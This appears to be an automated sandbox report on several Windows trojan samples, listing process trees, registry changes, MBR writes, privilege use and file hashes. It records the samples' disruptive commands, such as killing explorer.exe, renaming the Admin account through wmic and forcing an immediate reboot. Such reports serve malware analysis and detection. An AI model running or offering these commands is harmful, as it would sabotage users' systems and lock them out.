Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2016 wrote to memory of 2008	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	C:\Windows\SysWOW64\cmd.exe
PID 2016 wrote to memory of 2008	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	C:\Windows\SysWOW64\cmd.exe
PID 2016 wrote to memory of 2008	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	C:\Windows\SysWOW64\cmd.exe
PID 2016 wrote to memory of 2008	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe	C:\Windows\SysWOW64\cmd.exe
PID 2008 wrote to memory of 2584	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2008 wrote to memory of 2584	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2008 wrote to memory of 2584	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2008 wrote to memory of 2584	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2008 wrote to memory of 2656	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2656	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2656	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2656	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2624	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2624	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2624	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2624	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2008 wrote to memory of 2960	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 2008 wrote to memory of 2960	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 2008 wrote to memory of 2960	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe
PID 2008 wrote to memory of 2960	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\z666.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='No System Anymore'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'No System Anymore'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x1

Network

N/A

Files

memory/2016-0-0x0000000073FAE000-0x0000000073FAF000-memory.dmp

memory/2016-1-0x0000000000DB0000-0x000000000147A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\z666.bat

MD5	ee655674ba8e05d5a4c32de58a6757c1
SHA1	f06f54710d5a0b341a9e6d467e1bb1a78f2f9606
SHA256	40cc0b6734258fc61e9940e359b7e0b84651e44a12943bb4381523a5cea325ef
SHA512	26bc97bff5612643c379776baf3637f7233748e7ecd8d8b94aa995e0a77d79c4c02d49ed98ef1bdc6d417bcf82e35069427692967c73d3b3899aff3868c93ebd

memory/2016-15-0x0000000073FA0000-0x000000007468E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\NoSystemAnymore.exe

MD5	ef4e8ea4440efc48d5cd1a05a3a6f2a8
SHA1	74b5a40d4d9cb94ac7ed93b1cf9045539e50f068
SHA256	b1f25de77226ad8cf0e06226653e1c5aa7ac27a1ba8ba7bff8845685c2e53709
SHA512	f7aaa82dacf0ceee3f8311c787a568fdbe0b322d47371ddab37427902ceb74d0b324d6335878366d40f4d5d2b04b00157b81c8bd7b5c7b27fdcd26c770c13bf4

C:\Users\Admin\AppData\Local\Temp\bsod.exe

MD5	f1896231e9622dd044601962a9866a77
SHA1	36ad39e7d797ae43ee415e90a2dc234e0be3087b
SHA256	a254d664351a6db50d98bebbd530c46e64f9b9455bf4f378254045b2cde971f8
SHA512	e4004c3879b2b337260848e748c9d0b5e51bb4c8a8c317e44cedfe30e614391c329d1c07e7b052983897cc1010eee994c09cb370f721317f9c429c1d82e50901

C:\Users\Admin\AppData\Local\Temp\noway.txt

MD5	391403276c6df4a164b0544a3411c6c7
SHA1	c4c06a4c7710d1d8140b07abd4b7bcd4187485ab
SHA256	524dcba7e6a293bc6a19c1522672598a71ff4def394ac696ec30ea99154d511b
SHA512	2b0b05f4e8241ec07bd35f1a40113be5fa8689d5bfb8a4064a5c8dc119b10fe40b33697ad2e3195c068fa8cce5d7a860dbbbffebb45d8a9fc1ec121b6a5216f8

memory/2016-823-0x0000000073FA0000-0x000000007468E000-memory.dmp

Analysis: behavioral18

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win10v2004-20240508-en

Max time kernel

Max time network

13s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

Signatures

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe	N/A

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Enumerates physical storage devices

Program crash

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2168 wrote to memory of 3020	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe
PID 2168 wrote to memory of 3020	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe
PID 2168 wrote to memory of 3020	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3020 -ip 3020

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3020 -s 488

Network

Files

memory/2168-0-0x0000000074D2E000-0x0000000074D2F000-memory.dmp

memory/2168-1-0x00000000005C0000-0x00000000005D8000-memory.dmp

memory/2168-2-0x0000000005500000-0x0000000005AA4000-memory.dmp

memory/2168-3-0x0000000004FF0000-0x0000000005082000-memory.dmp

memory/2168-4-0x0000000005180000-0x000000000518A000-memory.dmp

memory/2168-5-0x0000000074D20000-0x00000000754D0000-memory.dmp

Analysis: behavioral24

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win10v2004-20240611-en

Max time kernel

148s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

Signatures

Modifies registry class

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000_Classes\Local Settings	C:\Windows\SysWOW64\cmd.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\system32\OpenWith.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4644 wrote to memory of 4044	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 4644 wrote to memory of 4044	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 4644 wrote to memory of 4044	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 4044 wrote to memory of 4228	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\cscript.exe
PID 4044 wrote to memory of 4228	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\cscript.exe
PID 4044 wrote to memory of 4228	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\cscript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\240599406.bat" "

C:\Windows\SysWOW64\cscript.exe

cscript [regtaskmgr.vbs]

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	g.bing.com	udp
US	13.107.21.237:443	g.bing.com	tcp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	17.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	241.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	237.21.107.13.in-addr.arpa	udp
NL	23.62.61.97:443	www.bing.com	tcp
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	97.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	8.8.8.8:53	86.23.85.13.in-addr.arpa	udp
US	8.8.8.8:53	18.31.95.13.in-addr.arpa	udp
US	8.8.8.8:53	172.214.232.199.in-addr.arpa	udp
US	8.8.8.8:53	249.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	216.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	57.169.31.20.in-addr.arpa	udp
US	8.8.8.8:53	23.236.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	10.28.171.150.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Local\Temp\240599406.bat

MD5	826431d3df1879172a96555d7ba0aeef
SHA1	f56ff5d3c06f78f53884071d1357ba79ee85b96e
SHA256	e22b0b5185247a3ca52cb7cd6a271efced0d1d6e8910294f7131241f5d58b7ee
SHA512	e995b82e1716ab7f7ea8d810a441ce2b68e570c0e31386670e6c193a11131e5274747205a3245424b7d71b7b0745313bd522eff452b175c80425fbf5ef2bbc52

memory/4644-2-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral28

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:59

Platform

win10v2004-20240611-en

Max time kernel

147s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

Signatures

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4676 wrote to memory of 844	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 4676 wrote to memory of 844	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 4676 wrote to memory of 844	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe	C:\Windows\SysWOW64\cmd.exe
PID 844 wrote to memory of 3028	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 844 wrote to memory of 3028	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 844 wrote to memory of 3028	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\240601093.bat" "

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM explorer.exe

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	g.bing.com	udp
US	204.79.197.237:443	g.bing.com	tcp
NL	23.62.61.194:443	www.bing.com	tcp
US	8.8.8.8:53	26.35.223.20.in-addr.arpa	udp
US	8.8.8.8:53	200.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	68.159.190.20.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	8.8.8.8:53	237.197.79.204.in-addr.arpa	udp
US	8.8.8.8:53	194.61.62.23.in-addr.arpa	udp
NL	23.62.61.194:443	www.bing.com	tcp
US	8.8.8.8:53	133.211.185.52.in-addr.arpa	udp
US	8.8.8.8:53	50.23.12.20.in-addr.arpa	udp
US	8.8.8.8:53	15.164.165.52.in-addr.arpa	udp
US	8.8.8.8:53	35.15.31.184.in-addr.arpa	udp
US	8.8.8.8:53	14.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	tse1.mm.bing.net	udp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	150.171.28.10:443	tse1.mm.bing.net	tcp
US	8.8.8.8:53	55.36.223.20.in-addr.arpa	udp
US	8.8.8.8:53	10.28.171.150.in-addr.arpa	udp
US	8.8.8.8:53	5.173.189.20.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Local\Temp\240601093.bat

MD5	2e90ad588f5329388216c652eebd4a33
SHA1	baa4f47ee4f195d854f8db905fcbb2539556f0e0
SHA256	6f88a1b6fb5975e2e49b33e7c9dabb593b18b2e7254bbe41263a9acc7294c2ac
SHA512	b793ffcfca291e52855dd92ce1f948ce8b6f6bfe0e9a878cf7c37630b621eb417fe8b720bea8f088bec98b26c6e379bb1212d8518bb6ebed8b9840e2f9f9f778

memory/4676-2-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral6

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win10v2004-20240508-en

Max time kernel

Max time network

18s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

Signatures

Disables Task Manager via registry modification

evasion

Enumerates connected drives

Description	Indicator	Process	Target
File opened (read-only)	\??\O:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\X:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\G:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\M:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\H:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\N:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\Q:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\R:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\S:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\W:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\A:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\E:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\Z:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\P:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\T:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\U:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\Y:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\K:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\L:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\J:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\V:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\B:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
File opened (read-only)	\??\I:	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Modifies WinLogon

persistence

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0"	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Sets desktop wallpaper using registry

ransomware

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\Desktop\Wallpaper	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Enumerates physical storage devices

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1337824034-2731376981-3755436523-1000\{D756E44B-B719-4838-BE7E-1E6EFA8017A3}	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\icon.ico"	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 34	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 35	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 36	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncreaseQuotaPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeTakeOwnershipPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeLoadDriverPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemProfilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemtimePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeProfSingleProcessPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeIncBasePriorityPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeCreatePagefilePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeBackupPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRestorePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeSystemEnvironmentPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeRemoteShutdownPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeUndockPrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: SeManageVolumePrivilege	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A
Token: 33	N/A	C:\Windows\SysWOW64\Wbem\WMIC.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4340 wrote to memory of 2812	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	C:\Windows\SysWOW64\cmd.exe
PID 4340 wrote to memory of 2812	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	C:\Windows\SysWOW64\cmd.exe
